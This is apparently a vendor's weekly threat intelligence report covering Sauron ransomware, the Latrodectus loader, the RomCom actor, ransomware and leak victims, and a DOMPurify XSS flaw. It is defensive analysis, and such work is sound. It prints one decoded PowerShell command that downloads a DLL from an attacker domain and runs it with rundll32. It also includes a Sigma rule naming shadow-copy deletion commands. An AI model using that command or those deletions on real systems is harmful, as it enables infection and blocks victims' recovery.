Weekly Intelligence Report – 25 Oct 2024

Published On : 2024-10-25

Ransomware of the Week

CYFIRMA Research and Advisory Team would like to highlight ransomware trends and insights gathered while monitoring various forums. This includes multiple – industries, geography, and technology- which could be relevant to your organization.

Type: Ransomware
Target Technologies: MS Windows

Introduction
CYFIRMA Research and Advisory Team has found Sauron Ransomware while monitoring various underground forums as part of our Threat Discovery Process.

Sauron Ransomware.
Researchers have discovered Sauron, a ransomware program designed to encrypt files and extort payment for their decryption. When executed , Sauron encrypted files and modified their names by appending a unique victim ID, the cybercriminals’ email address, and the “.Sauron” extension. Upon completing the encryption process, the ransomware altered the desktop wallpaper and left a ransom note named “#HowToRecover.txt” to instruct victims on payment procedures.

Screenshot of files encrypted by this ransomware (Source: SurfaceWeb)

Sauron’s ransom note informs victims that their files have been both encrypted and exfiltrated. To recover the data, a ransom payment in Bitcoin is required. Victims are warned that using third-party decryption tools could permanently corrupt the data, making recovery impossible. However, before committing to payment, the attackers offer a free decryption test for a limited number of files. If the ransom is not paid, the threat actors will leak or sell the sensitive company data stolen during the attack.

Screenshot of Sauron ransomware’s text file (“#HowToRecover.txt”):(Source: Surface Web)

Screenshot of Sauron’s desktop wallpaper:(Source: Surface Web)

Following are the TTPs based on the MITRE Attack Framework.

Tactic	ID	Technique
Execution	T1047	Windows Management Instrumentation
Execution	T1053.005	Scheduled Task/Job: Scheduled Task
Execution	T1059	Command and Scripting Interpreter
Execution	T1129	Shared Modules
Persistence	T1053.005	Scheduled Task/Job: Scheduled Task
Persistence	T1574.002	Hijack Execution Flow: DLL Side-Loading
Privilege Escalation	T1053.005	Scheduled Task/Job: Scheduled Task
Privilege Escalation	T1055	Process Injection
Privilege Escalation	T1134	Access Token Manipulation
Privilege Escalation	T1574.002	Hijack Execution Flow: DLL Side-Loading
Defense Evasion	T1027.002	Obfuscated Files or Information: Software Packing
Defense Evasion	T1027.005	Obfuscated Files or Information: Indicator Removal from Tools
Defense Evasion	T1036	Masquerading
Defense Evasion	T1055	Process Injection
Defense Evasion	T1112	Modify Registry
Defense Evasion	T1134	Access Token Manipulation
Defense Evasion	T1202	Indirect Command Execution
Defense Evasion	T1497	Virtualization/Sandbox Evasion
Defense Evasion	T1562.001	Impair Defenses: Disable or Modify Tools
Defense Evasion	T1564.001	Hide Artifacts: Hidden Files and Directories
Defense Evasion	T1564.003	Hide Artifacts: Hidden Window
Defense Evasion	T1574.002	Hijack Execution Flow: DLL Side-Loading
Credential Access	T1003	OS Credential Dumping
Discovery	T1010	Application Window Discovery
Discovery	T1012	Query Registry
Discovery	T1016	System Network Configuration Discovery
Discovery	T1049	System Network Connections Discovery
Discovery	T1057	Process Discovery
Discovery	T1082	System Information Discovery
Discovery	T1083	File and Directory Discovery
Discovery	T1135	Network Share Discovery
Discovery	T1497	Virtualization/Sandbox Evasion
Discovery	T1518.001	Software Discovery: Security Software Discovery
Discovery	T1614	System Location Discovery
Collection	T1005	Data from Local System
Command and Control	T1071	Application Layer Protocol
Impact	T1486	Data Encrypted for Impact
Impact	T1490	Inhibit System Recovery
Impact	T1529	System Shutdown/Reboot

Relevancy and Insights:

This ransomware specifically targets the widely used Windows Operating System, which is prevalent across numerous industries and organizations.
The ransomware’s attempt to delete Volume Shadow Copies (VSS) indicates a deliberate effort to hinder data recovery options for victims.
Developers use debugging environments to analyze and troubleshoot software. Ransomware uses this technique to determine whether it is operating in a debug environment, which aids it in avoiding analysis and detection attempts.

ETLM Assessment:
According to the assessment from CYFIRMA, the ransom note left by the Sauron ransomware reveals its intent to primarily target enterprises, focusing on maximizing financial gains. This suggests that ransomware is likely to become a serious threat to developed nations, with industries such as Manufacturing, Healthcare, Hospitality, and Finance expected to be key targets due to their substantial ransom payment capacities and heavy reliance on critical data. Additionally, the ransomware threatens that failure to comply may result in sensitive company data being leaked or sold.

SIGMA Rule:
title: Shadow Copies Deletion Using Operating Systems Utilities tags:
– attack.defense-evasion
– attack.impact
– attack.t1070
– attack.t1490 logsource:
category: process_creation product: windows
detection: selection1_img:
– Image|endswith:
– ‘\powershell.exe’
– ‘\pwsh.exe’
– ‘\wmic.exe’
– ‘\vssadmin.exe’
– ‘\diskshadow.exe’
– OriginalFileName:
– ‘PowerShell.EXE’
– ‘pwsh.dll’
– ‘wmic.exe’
– ‘VSSADMIN.EXE’
– ‘diskshadow.exe’ selection1_cli:
CommandLine|contains|all:
– ‘shadow’ # will match “delete shadows” and “shadowcopy delete” and “shadowstorage”
– ‘delete’ selection2_img:
– Image|endswith: ‘\wbadmin.exe’
– OriginalFileName: ‘WBADMIN.EXE’ selection2_cli:
CommandLine|contains|all:
– ‘delete’
– ‘catalog’
– ‘quiet’ # will match -quiet or /quiet selection3_img:
– Image|endswith: ‘\vssadmin.exe’
– OriginalFileName: ‘VSSADMIN.EXE’ selection3_cli:
CommandLine|contains|all:
– ‘resize’
– ‘shadowstorage’ CommandLine|contains:
– ‘unbounded’
– ‘/MaxSize=’
condition: (all of selection1*) or (all of selection2*) or (all of selection3*) fields:
– CommandLine
– ParentCommandLine falsepositives:
– Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason
– LANDesk LDClient Ivanti-PSModule (PS EncodedCommand) level: high

(Source: Surface web)

STRATEGIC RECOMMENDATIONS

Implement competent security protocols and encryption, authentication, or access credentials configurations to access critical systems in your cloud and local environments.
Ensure that backups of critical systems are maintained which can be used to restore data in case a need arises.

MANAGEMENT RECOMMENDATIONS

A data breach prevention plan must be developed considering, (a) the type of data being managed by the company; (b) the remediation process; (c) where and how the data is stored; (d) if there is an obligation to notify the local authority.
Enable zero-trust architecture and multifactor authentication (MFA) to mitigate the compromise of credentials.
Foster a culture of cybersecurity, where you encourage and invest in employee training so that security is an integral part of your organization.

TACTICAL RECOMMENDATIONS

Update all applications/software regularly with the latest versions and security patches alike.
Add the Sigma rules for threat detection and monitoring which will help to detect anomalies in log events, identify and monitor suspicious activities.

Trending Malware of the Week

Type: Loader
Objective: Data Exfiltration, Stealing Sensitive Information Target Technology: Windows OS

Active Malware of the Week
This week “Latrodectus” is trending.

Latrodectus
Researchers identified Latrodectus, a widely used loader by threat actors, as a key tool for downloading payloads and executing arbitrary commands. Phishing emails serve as the primary vector for distributing Latrodectus, which primarily targets financial, automotive, and healthcare sectors. By compromising email accounts and attaching malicious files, it spreads to a larger network of victims. The malware’s increasing use of common formats like HTML and PDF, coupled with its stealth and persistence, makes detection more difficult. This can result in data exfiltration, financial fraud, and the compromise of sensitive information.

Attack Method
The Latrodectus campaign begins with attacks using compromised emails that appear to contain important DocuSign documents. Recipients are urged to click a link to view the document, which redirects them to a harmful website. This action unknowingly triggers the download of the next-stage malware payload.

Fig: Latrodectus Attack Chain

Initial access via PDF
The PDF linked in the Latrodectus campaign contains a compromised domain that initiates multiple redirects. It first leads to a shortened URL, then to another suspicious domain, and eventually directs users to a Google Cloud storage project. There, it downloads a malicious, obfuscated JavaScript file designed to continue the attack.

Fig: Initial access PDF

Obfuscated JavaScript Analysis
The malicious JavaScript in the Latrodectus campaign is heavily obfuscated with junk messages to increase its size and complexity. Key malicious code is hidden within comments marked as “////”. Once the junk is removed and the code is deobfuscated, it reveals functions for string manipulation and eventually triggers the creation of an ActiveXObject (“WindowsInstaller.Installer”), which downloads an .msi installer file to further the attack.

MSI Analysis
The downloaded MSI file from the Latrodectus campaign is executed through JavaScript, dropping a 64-bit malicious .dll file in the %appdata% directory. This .dll is then run using rundll32.exe with specific export function parameters. The export function “GetDeepDVCState” is invoked, with the .dll being executed through a command that includes the rundll32.exe path, facilitating further malicious activities.

DLL Analysis
The DLL file is a 64-bit binary created with Microsoft Visual C++ that contains deceptive NVIDIA version information. Upon examination, this DLL unpacks an additional stage payload directly in memory. The unpacked 64-bit binary then establishes a connection to a malicious command and control (C2) server using an uncommon port, 8041.

Initial Access via HTML
The phishing HTML page is designed to mimic a Word document pop-up for the user. When the user clicks the button, it triggers the execution of malicious JavaScript code that is embedded within the HTML.

Fig: HTML attachment

The phishing page displays pop-up warning messages that are intentionally reversed, making them difficult to read at first glance. The actual message, when reversed, states, “Your browser does not support correct offline display of this document. Please follow the instructions below using the.” Additionally, the page employs various string encoding techniques, such as window.atob(), along with obfuscation methods like s.split(“”).reverse().join(“”) to further conceal its intentions.

Decoded base64 code
cmd /c start /min powershell $path=’%appdata%\witwin_st_x64.dll’;iwr hxxp://gertioma[.]top/o.jpg -outfile $path; start-process rundll32 $path,NxReleasePMap8==

The command indicates that threat actors are leveraging HTML to initiate PowerShell, enabling them to download the DLL payload directly without the need for an MSI file. This payload is then executed using rundll32.exe, establishing a connection to a command and control (C2) server.

INSIGHTS
Latrodectus malware has emerged as a significant threat, primarily targeting sectors such as finance, automotive, and healthcare. Its distribution often begins with phishing emails that masquerade as critical documents, tricking users into clicking links that lead to malicious downloads. This social engineering tactic is particularly effective as it exploits users’ trust, making them more susceptible to the malware’s payload. Once activated, Latrodectus uses various methods to infiltrate systems and networks, posing a substantial risk to sensitive information and organizational operations.

One notable aspect of the Latrodectus malware campaign is its adaptability to changing threat landscapes. As cybercriminals refine their tactics, Latrodectus has demonstrated an ability to leverage emerging technologies and popular platforms to distribute its payloads more effectively. For example, by mimicking legitimate applications and services, such as DocuSign, the malware creators exploit users’ familiarity and trust in these platforms, increasing the likelihood of successful infections. This adaptability highlights the importance of staying informed about new cybersecurity threats and the evolving methods employed by attackers.

Additionally, the focus of Latrodectus on high-impact sectors can lead to widespread collateral damage. By targeting industries that handle sensitive data, successful deployments of the malware can result in significant financial losses for affected organizations, as well as broader repercussions for their customers and clients. Data breaches resulting from such attacks can compromise personal information and financial security, creating long-lasting trust issues between organizations and their stakeholders. Therefore, addressing the threats posed by Latrodectus is essential for protecting not just individual businesses but also the integrity of entire sectors.

ETLM ASSESSMENT
From the ETLM perspective, CYFIRMA anticipates that Latrodectus malware could become a more severe threat as cybercriminals refine its capabilities to bypass security measures more effectively. Organizations may face an increased risk of data breaches, financial losses, and operational disruptions as Latrodectus evolves to target critical sectors with greater precision. Employees might find themselves under growing pressure to remain vigilant against sophisticated phishing tactics and deceptive schemes, with a heightened focus on safeguarding sensitive information. As the malware adapts to new environments, its impact could extend across industries, challenging the effectiveness of existing defenses and potentially leading to larger- scale attacks that compromise organizational trust and integrity.

IOCs:
Kindly refer to the IOCs Section to exercise controls on your security systems.

STRATEGIC RECOMMENDATIONS

Maintain an up-to-date inventory of all active software used within the organization and perform regular self-audit of workstations, servers, laptops, mobile devices to identify unauthorized/ restricted software.
Deploy a unified threat management strategy – including malware detection, deep learning neural networks, and anti-exploit technology – combined with vulnerability and risk mitigation processes.
Configure organization’s intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defence mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — the external IP addresses and domains listed in the appendix.

MANAGEMENT RECOMMENDATIONS

Implement real-time website monitoring to analyze network traffic going in and out of the website to detect malicious behaviours.
Security Awareness training should be mandated for all company employees. The training should ensure that employees:
Avoid downloading and executing files from unverified sources.
Move beyond the traditional model of security awareness towards Improved Simulation and training exercises that mimic real attack scenarios, account for behaviors that lead to a compromise, and are measured against real attacks the organization receives.

TACTICAL RECOMMENDATIONS

Build and undertake safeguarding measures by monitoring/ blocking the IOCs and strengthening defence based on the tactical intelligence provided.
Exert caution when opening email attachments or clicking on embedded links supplied via email communications.

Weekly Intelligence Trends/Advisory

1. Weekly Attack Type and Trends

Key Intelligence Signals:

Attack Type: Ransomware Attacks, Spear Phishing, Vulnerabilities & Exploits, Data Leaks.
Objective: Unauthorized Access, Data Theft, Data Encryption, Financial Gains, Espionage.
Business Impact: Data Loss, Financial Loss, Reputational Damage, Loss of Intellectual Property, Operational Disruption.
Ransomware –Meow Ransomware, RansomHub Ransomware | Malware – Latrodectus
Meow Ransomware – One of the ransomware groups.
RansomHub Ransomware – One of the ransomware groups.
Please refer to the trending malware advisory for details on the following:
Malware – Latrodectus
Behaviour –Most of these malwares use phishing and social engineering techniques as their initial attack vectors. Apart from these techniques, exploitation of vulnerabilities, defense evasion, and persistence tactics are being observed.

2. Threat Actor in Focus

UAT-5647 focuses on Ukrainian and Polish organizations, utilizing variants of RomCom malware

Threat actor: UAT-5647
Initial Attack Vector: Spear Phishing
Objective: Espionage and Ransomware
Target Technology: Windows, network edge devices
Target Geography: Ukraine
Target Industries: Ukrainian entities, Russia, and unknown Polish entities.
Business Impact: Operational Disruption, Financial Losses and Data Compromise.

Summary:
A new wave of attacks has been observed since late 2023, attributed to a Russian- speaking group known as UAT-5647, also referred to as RomCom. This group has been targeting Ukrainian government entities and potentially Polish entities using an updated version of their malware called “SingleCamper.” This variant operates directly from the registry into memory, communicating with its loader via a loopback address.

UAT-5647 has expanded its malware toolkit to include various components: two downloaders (RustClaw and MeltingClaw), a RUST-based backdoor (DustyHammock), and a C++ backdoor (ShadyHammock). The attacks focus on establishing long-term access for data exfiltration, potentially pivoting to ransomware.

The infection chain typically starts with a spear-phishing email delivering either RustyClaw or MeltingClaw, which then installs either DustyHammock or ShadyHammock as the next-stage payload. DustyHammock acts as a straightforward backdoor, while ShadyHammock has more advanced features, including loading the SingleCamper implant. UAT-5647’s post-compromise behavior shows a strong focus on reconnaissance, including mapping internal networks and targeting edge devices for remote access, often using tools like PuTTY’s Plink to create tunnels.

During their lateral movement, UAT-5647 performs extensive network reconnaissance, executing ping sweeps and running port scans to identify accessible systems. Their activities include gathering system and user information, and attempting to exfiltrate data, evidenced by the staging of entire drives or specific folders for extraction.

RustyClaw is designed to target users based on keyboard layout checks, further enhancing its effectiveness against Ukrainian and Polish victims.

The malware’s capabilities extend to complex command and control (C2) interactions, where SingleCamper can execute commands, gather system data, and download additional payloads as instructed by the C2 server. Detection and mitigation strategies include various Cisco security products, such as Cisco Secure Endpoint, Secure Web Appliance, Secure Email, and more, which can block or detect malicious activities related to these attacks.

Relevancy & Insights:
RomCom has a history of conducting cyberattacks that blend espionage with ransomware tactics. In previous incidents, the group targeted Ukrainian entities, primarily focusing on government and critical infrastructure. These attacks often began with spear-phishing campaigns that delivered malware designed for lateral movement within networks, enabling them to gather sensitive information and maintain persistent access.

In the current wave of attacks observed since late 2023, UAT-5647 has escalated its operations, deploying an updated version of its malware, SingleCamper, which operates more stealthily and communicates via loopback addresses. This shift indicates a refinement in their approach, aiming to evade detection while establishing long-term access to high-profile Ukrainian targets. The inclusion of additional malware families, such as DustyHammock and ShadyHammock, showcases their evolution and increased sophistication, allowing them to conduct more extensive reconnaissance and execute complex command-and-control operations.

The correlation between past and current incidents highlights a strategic continuity in their objectives—exfiltrating sensitive data for espionage while preparing for potential ransomware deployment to disrupt operations. This pattern indicates that UAT-5647 is not only leveraging lessons learned from previous attacks but is also adapting to the evolving cybersecurity landscape, making them a persistent threat that organizations must actively defend against.

ETLM Assessment:
UAT-5647, also known as RomCom, is a Russian-speaking threat actor engaged in espionage and ransomware activities, primarily targeting Ukrainian government entities and, to some extent, Polish organizations, reflecting the ongoing geopolitical tensions in the region. This group focuses on critical sectors, particularly government and infrastructure, employing advanced tactics to exploit vulnerabilities in edge devices and networking equipment. Their methods typically begin with spear-phishing to gain initial access, exploiting misconfigurations and weaknesses in endpoint security. Currently, they utilize a sophisticated malware toolkit that includes SingleCamper (an updated variant of RomCom), DustyHammock (a RUST-based backdoor), and ShadyHammock (a C++ backdoor), alongside downloaders like RustClaw and MeltingClaw. Earlier versions of their malware were less complex but have evolved significantly to enhance evasion techniques and operational efficiency. The threat landscape remains dynamic, with UAT-5647 likely to continue its aggressive campaigns, leveraging diverse programming languages and platforms to adapt to defenses. As geopolitical factors persist, vigilance is essential, and organizations must enhance their detection and response capabilities to mitigate the risks posed by such sophisticated threat actors.

Recommendations:

Immediate Containment: Quickly isolate affected systems to prevent further spread of the malware. Disconnect compromised devices from the network and disable any accounts that may have been exploited.
Comprehensive Malware Analysis: Conduct a thorough investigation to identify all malware variants involved, including SingleCamper, DustyHammock, RustyClaw, and MeltingClaw. Use advanced malware analysis tools to understand their behavior and capabilities.
Restore from Backups: If backups are available and clean, restore affected systems to a well-known state. Ensure that backup processes are functioning correctly to avoid data loss in future incidents.
Network Traffic Monitoring: Implement real-time monitoring of network traffic for signs of exfiltration or command-and-control communication. Use intrusion detection systems (IDS) to flag suspicious activities.
User Credential Security: Change passwords for affected accounts and enforce password rotation across the organization. Implement multi-factor authentication (MFA) for added security on all critical systems.
Strengthen Email Security: Enhance email filtering mechanisms to block malicious attachments and links. Educate users on identifying phishing attempts and suspicious emails.
Regular Vulnerability Assessments: Conduct routine vulnerability scans and penetration tests to identify and remediate weaknesses in the network and systems.
Endpoint Protection: Ensure all endpoints are equipped with up-to-date anti-virus and endpoint detection and response (EDR) solutions to detect and mitigate malware threats.
Security Awareness Training: Provide ongoing cybersecurity training to employees, focusing on recognizing social engineering tactics and safe computing practices.
Incident Response Plan Review: After addressing the immediate threat, review and update the incident response plan based on lessons learned from this attack. Conduct tabletop exercises to prepare for future incidents.

MITRE ATT&CK Tactics and Techniques
Tactics	ID	Technique
Initial Access	T1566.001	Phishing: Spear-phishing Attachment
Execution	T1106	Native API
Execution	T1129	Shared Modules
Persistence	T1574.002	Hijack Execution Flow: DLL Side- Loading
Defense Evasion	T1027	Obfuscated Files or Information
Defense Evasion	T1562.001	Impair Defenses: Disable or Modify Tools
Discovery	T1012	Query Registry
Discovery	T1082	System Information Discovery
Discovery	T1083	File and Directory Discovery
Command and Control	T1071	Application Layer Protocol

IOCs:
Kindly refer to the IOCs (Indicators of Compromise) Section to exercise controls on your security systems.

3. Major Geopolitical Developments in Cybersecurity

Warning of Iranian Cyberattacks by U.S. and Allies on Critical Infrastructure
Cybersecurity and intelligence agencies from Australia, Canada, and the U.S. have given a warning about a year-long campaign by Iranian cyber actors to infiltrate critical infrastructure organizations via brute-force attacks.

The healthcare, government, information technology, engineering, and energy sectors were targeted, with the aim of obtaining sellable information. This echoes the alert previously issued by the U.S. in August 2024.

“The actors performed discovery on the compromised networks to obtain additional credentials and identify other information that could be used to gain additional points of access,” the agencies said, adding they “sell this information on cybercriminal forums to actors who may use the information to conduct additional malicious activity.”

The alert comes weeks after government agencies from the Five Eyes countries published guidance on the common techniques that threat actors use to compromise Active Directory.

ETLM Assessment:
Cybercriminals are becoming increasingly integrated into nation-state operations, particularly in conflict zones. The Russia-Ukraine war showcased how they can serve as dual agents, advancing state interests while pursuing their own financial gains. This trend is now spreading to the Middle East.

Nation-state hacking groups are outsourcing cyber operations to cybercriminals to scale their efforts and leverage their expertise. This collaboration allows states to achieve specific geopolitical objectives, such as intelligence gathering and infrastructure disruption. Cybercriminals, in turn, gain access to new tools, state- protected environments, and a wider market for stolen data.

This trend marks a significant shift in modern cyber warfare, as states and cybercriminals form strategic alliances to achieve their respective goals.

4. Rise in Malware/Ransomware and Phishing The Meow Ransomware impacts OSG Tool

Attack Type: Ransomware
Target Industry: Manufacturing
Target Geography: Japan
Ransomware: Meow Ransomware
Objective: Data Theft, Data Encryption, Financial Gains
Business Impact: Financial Loss, Data Loss, Reputational Damage

Summary:
From the External Threat Landscape Management (ETLM) Perspective, CYFIRMA observed in an underground forum that a company from Japan; OSG Tool (www[.]osg[.]co[.]jp), was compromised by Meow Ransomware. OSG Tool is a global leader in high-precision cutting tools. OSG Tool is renowned for producing advanced cutting tools such as taps, endmills, drills, and indexable tools. These tools serve a variety of industries, including automotive, aerospace, die mold, energy, and heavy industry. OSG’s cutting-edge products feature exclusive metallurgy, geometries, and proprietary surface treatments designed to boost productivity, reliability, and tool life. The compromised data includes sensitive employee details, client records, financial documents, such as banking information and tax filings, personal identifiers like passport scans and Social Security numbers, contracts and certifications, residential addresses, medical invoices, and health service information, along with a variety of other confidential materials. The total size of the compromised data is approximately 25 GB. The asking price for the compromised data is set at $45,000 for exclusive access (single buyer) and $25,000 when shared among multiple buyers.

The following screenshot was observed published on the dark web:

Source: Dark Web

Relevancy & Insights:

Meow Ransomware, which emerged in late 2022, has been notably active in 2024, with 135 victims to date. This group is linked to the Conti v2 ransomware variant, utilizing similar sophisticated tactics and methods.
The Meow Ransomware group’s website is currently named “Meow Leaks,” and they maintain a presence on the dark web where they list victims who have not paid the ransom.
The Meow Ransomware utilized the ChaCha20 encryption algorithm to secure files, appending the .MEOW extension to encrypted files.
The Meow Ransomware group primarily targets countries like the United States of America, Israel, the United Kingdom, Italy, and Australia.
The Meow Ransomware group primarily targets industries, such as Business Support Services, Heavy Construction, Software, Retail, and Health Care Providers.
Based on the Meow Ransomware victims list from 1 2024, the top 5 Target Countries are as follows:
The Top 10 Industries, most affected by Meow Ransomware from 1 Jan 2024 to 23 October 2024 are as follows:

ETLM Assessment:
Meow Ransomware employs various infection methods, including phishing emails, exploit kits, Remote Desktop Protocol (RDP) vulnerabilities, and malvertising. Based on recent assessments by CYFIRMA, Meow ransomware is expected to intensify its operations across various industries worldwide, with a notable focus on regions in the United States, Europe, and Asia. This prediction is reinforced by the recent attack on OSG Tool, a leading Manufacturing company in Japan, highlighting Meow Ransomware’s significant threat presence in the Asia Pacific region.

The RansomHub Ransomware Impacts the SAIZERIYA CO., LTD.

Attack Type: Ransomware
Target Industry: Food and Beverage
Target Geography: Japan
Ransomware: RansomHub Ransomware
Objective: Data Theft, Data Encryption, Financial Gains
Business Impact: Financial Loss, Data Loss, Reputational Damage

Summary:
From the External Threat Landscape Management (ETLM) Perspective, CYFIRMA observed in an underground forum that a company from Japan; SAIZERIYA CO., LTD., (www[.]saizeriya[.]co[.]jp), was compromised by RansomHub Ransomware. SAIZERIYA CO., LTD., is a popular Japanese chain specializing in affordable Italian cuisine. It operates over 1,500 locations globally, including Japan and across Asia, with significant growth in countries like China, Taiwan, Singapore, and Australia. Saizeriya is known for its budget-friendly menu, offering Italian dishes such as pasta, pizza, and doria (a Japanese-style gratin) at remarkably low prices. The compromised data encompasses a trove of sensitive and confidential records, originating from the organizational database.

The total size of the compromised data is approximately 23 GB.

The following screenshot was observed published on the dark web:

Source: Dark Web

Relevancy & Insights:

RansomHub operates under a Ransomware-as-a-Service (RaaS) model, attracting experienced affiliates by offering competitive terms. This model has enabled the group to grow rapidly, capitalizing on tactics that include exploiting vulnerabilities in software such as Apache ActiveMQ, and Citrix ADC.
The RansomHub Ransomware group primarily targets countries like the United States of America, the United Kingdom, Brazil, Australia, and Italy.
The RansomHub Ransomware group primarily targets industries, such as Specialized Consumer Services, Heavy Construction, Business Support Services, Software, and Health Care Providers.
Based on the RansomHub Ransomware victims list from 1st Jan 2024 to 23rd October 2024, the top 5 Target Countries are as follows:
The Top 10 Industries, most affected by RansomHub Ransomware from 1st Jan 2024 to 23 rd October 2024 are as follows:

ETLM Assessment:
Based on recent assessments by CYFIRMA, RansomHub ransomware is expected to intensify its operations across various industries worldwide, with a notable focus on regions in the United States, Europe, and Asia. This prediction is reinforced by the recent attack on SAIZERIYA CO., LTD, a prominent Food and Beverage company from Japan, highlighting RansomHub’s significant threat presence in the Asia Pacific region.

5. Vulnerabilities and Exploits

Vulnerability in DOMPurify

Attack Type: Vulnerabilities & Exploits
Target Technology: Modules and components for CMS
Vulnerability: CVE-2024-47875
CVSS Base Score: 10.0
Vulnerability Type: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Summary:
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

Relevancy & Insights:
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can pass specially crafted input to the application and execute arbitrary HTML and script code in the user’s browser in the context of a vulnerable website.

Impact:
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change the appearance of the web page, and perform phishing and drive-by-download attacks.

Affected Products:
https[:]//github[.]com/cure53/DOMPurify/security/advisories/GHSA- gx9m-whjm-85jf

Recommendations:
Monitoring and Detection: Implement monitoring and detection mechanisms to identify unusual system behavior that might indicate an attempted exploitation of this vulnerability.

TOP 5 AFFECTED PRODUCTS OF THE WEEK
This week, CYFIRMA researchers have observed significant impacts on various technologies, due to a range of vulnerabilities. The following are the top 5 most affected

ETLM Assessment:
Vulnerability in DOMPurify can pose significant threats to user privacy and security. This can impact various industries globally, including technology, finance, healthcare, and beyond. Ensuring the security of DOMPurify is crucial for maintaining the integrity and protection of users’ data worldwide. Therefore, addressing these vulnerabilities is essential to safeguard the sanitization of HTML content, prevent XSS attacks, and ensure safe web interactions across different geographic regions and sectors.

6. Latest Cyber-Attacks, Incidents, and Breaches

KillSec Ransomware attacked and published the data of the Seoul Property Insight (SPI)

Threat Actors: KillSec Ransomware
Attack Type: Ransomware
Objective: Data Leak, Financial Gains
Target Technology: Web Applications
Target Industry: Real Estate
Target Geography: South Korea
Business Impact: Operational Disruption, Data Loss, Financial Loss, Potential Reputational Damage

Summary:
Recently, we observed that KillSec Ransomware attacked and published the data of Seoul Property Insight (SPI) (www[.]seoulpi[.]io) on its dark web website. Seoul Property Insight (SPI) operates in the commercial real estate industry, specifically providing news and analysis on the South Korean property market. It offers insights on topics such as real estate developments, investment opportunities, and REITs. SPI connects professionals and businesses by delivering detailed content related to major real estate projects and market trends in South Korea. It also covers topics like sustainability and architecture through various articles and resources. SPI is based in Seoul, South Korea, and functions as a content platform for both local and international property investors. The data leak, following the ransomware attack, encompasses Personal identification information, educational records, business registration details, tax-related information, government-issued documents, contact details, institutional data, training certificates, market research data, industry trends, financial forecasts, and company performance metrics.

Source: Dark Web

Relevancy & Insights:

Launch of KillSec RaaS: On June 25, 2024, KillSec announced the introduction of its Ransomware-as-a-Service platform via its Telegram channel. This platform is designed to provide aspiring cybercriminals with advanced tools and user-friendly features to facilitate ransomware attacks. The core component of this service is an advanced locker written in C++, which encrypts files on victims’ machines, making them inaccessible, without a decryption key provided after a ransom is paid.
KillSec Ransomware employs various sophisticated methods to infiltrate systems, including phishing attacks, exploiting known vulnerabilities, and using custom malware to maintain persistence within compromised networks.

ETLM Assessment:
The emergence of KillSec’s Ransomware-as-a-Service (RaaS) platform represents a concerning development in the cybercrime landscape. By lowering the technical barrier to entry, this RaaS model allows less skilled individuals to engage in sophisticated ransomware attacks, potentially leading to an increase in such incidents globally. According to CYFIRMA’s assessment, the KillSec ransomware group is expected to continue targeting a wide range of industries worldwide. Their advanced tactics, such as exploiting website vulnerabilities and conducting credential theft, make them a significant threat to organizations with inadequate security measures in place.

7. Data Leaks

PT Haleyora Power Data Advertised on a Leak Site

Attack Type: Data Leak
Target Industry: Energy
Target Geography: Indonesia
Objective: Data Theft, Financial Gains
Business Impact: Data Loss, Reputational Damage

Summary:
A threat actor has claimed responsibility for leaking a database containing 4 million records from PT Haleyora Power, a prominent Indonesian power company. The exposed data is said to include sensitive employee information, such as personal identification details, contract agreements, and even banking data. This breach could have significant implications for employee privacy and corporate security, raising concerns about data protection measures within the organization.

The leak, currently being circulated on the dark web, highlights the growing risks associated with inadequate cybersecurity measures in critical infrastructure sectors. The data breach has been attributed to a threat actor identified as “Zenox8x”.

Source: Underground Forums

PT. Bursa Efek Indonesia Data Advertised on a Leak Site

Attack Type: Data Leak
Target Geography: Indonesia
Target Industry: Finance
Objective: Data Theft, Financial Gains
Business Impact: Data Loss, Reputational Damage

Summary:
The CYFIRMA Research team observed a potential data leak related to PT. Bursa Efek Indonesia(www[.]idx[.]co[.]id) in an underground forum.PT Bursa Efek Indonesia (BEI), also known as the Indonesia Stock Exchange (IDX), is the primary stock exchange in Indonesia. The compromised data includes information such as Code Name, Listing Date, Shares, Listing Board, Sector, Last Price, Market Cap, Minutes First Added, Minutes Last Updated, Hourly First Added, Hourly Last Updated, Daily First Added, Daily Last Updated, and much more.

Source: Underground Forums

Relevancy & Insights:
Financially motivated cybercriminals are continuously scouring for exposed and vulnerable systems and applications to exploit. A significant number of these malicious actors congregate within underground forums, where they discuss cybercrime and trade stolen digital assets. Operating discreetly, these opportunistic attackers target unpatched systems or vulnerabilities in applications to illicitly gain access and steal valuable data. Subsequently, the pilfered data is advertised for sale within underground markets, where it can be acquired, repurposed, and utilized by other malicious actors in further illicit activities.

ETLM Assessment:
Threat actor “Zenox8x” is a relatively new threat actor that has emerged in the cybersecurity landscape, utilizing sophisticated tactics to execute attacks. Organizations are advised to enhance their cybersecurity measures, including regular updates, employee training, and incident response planning, to mitigate risks associated with such evolving threats.

Recommendations: Enhance the cybersecurity posture by

Updating all software products to their latest versions is essential to mitigate the risk of vulnerabilities being exploited.
Ensure proper database configuration to mitigate the risk of database-related attacks.
Establish robust password management policies, incorporating multi-factor authentication and role-based access, to fortify credential security and prevent unauthorized access.

8. Other Observations

A threat actor has reportedly put up access for sale to the network of a US-based finance company. The compromised network includes 40 machines, and two ESXi servers—one of which holds backups—and is associated with a company claiming annual revenues of $30 million. This sale poses a severe risk, potentially enabling unauthorized control and data extraction from a high-value target within the financial sector.

The listing raises alarms about the security of critical infrastructure in the financial industry, highlighting vulnerabilities that could be exploited for data theft or further breaches. Organizations in this sector are urged to strengthen their security measures and perform regular network audits to prevent such compromises.

Source: Underground forums

A newly identified vulnerability at Epicor Software Corporation has led to unauthorized access to sensitive data from over 6,300 clients. The exposed information includes personal details, full names, and phone numbers of several high-profile individuals. This breach presents a serious security concern, as the compromised data could be misused for targeted attacks or identity theft.

The vulnerability has raised questions about the effectiveness of Epicor’s cybersecurity measures, emphasizing the need for rapid response and stronger protection mechanisms. The data breach has been attributed to a threat actor identified as “kjroot972”.

Source: Underground forums

ETLM Assessment:
Threat actor “KJRoot972” represents a notable threat in the cybersecurity landscape. Their methods of exploiting vulnerabilities and maintaining persistence through backdoor accounts highlight the need for robust security measures, including strong password policies, regular updates, and monitoring for unauthorized account changes. Organizations are encouraged to implement comprehensive security practices to mitigate the risks associated with such threat actors.

STRATEGIC RECOMMENDATIONS

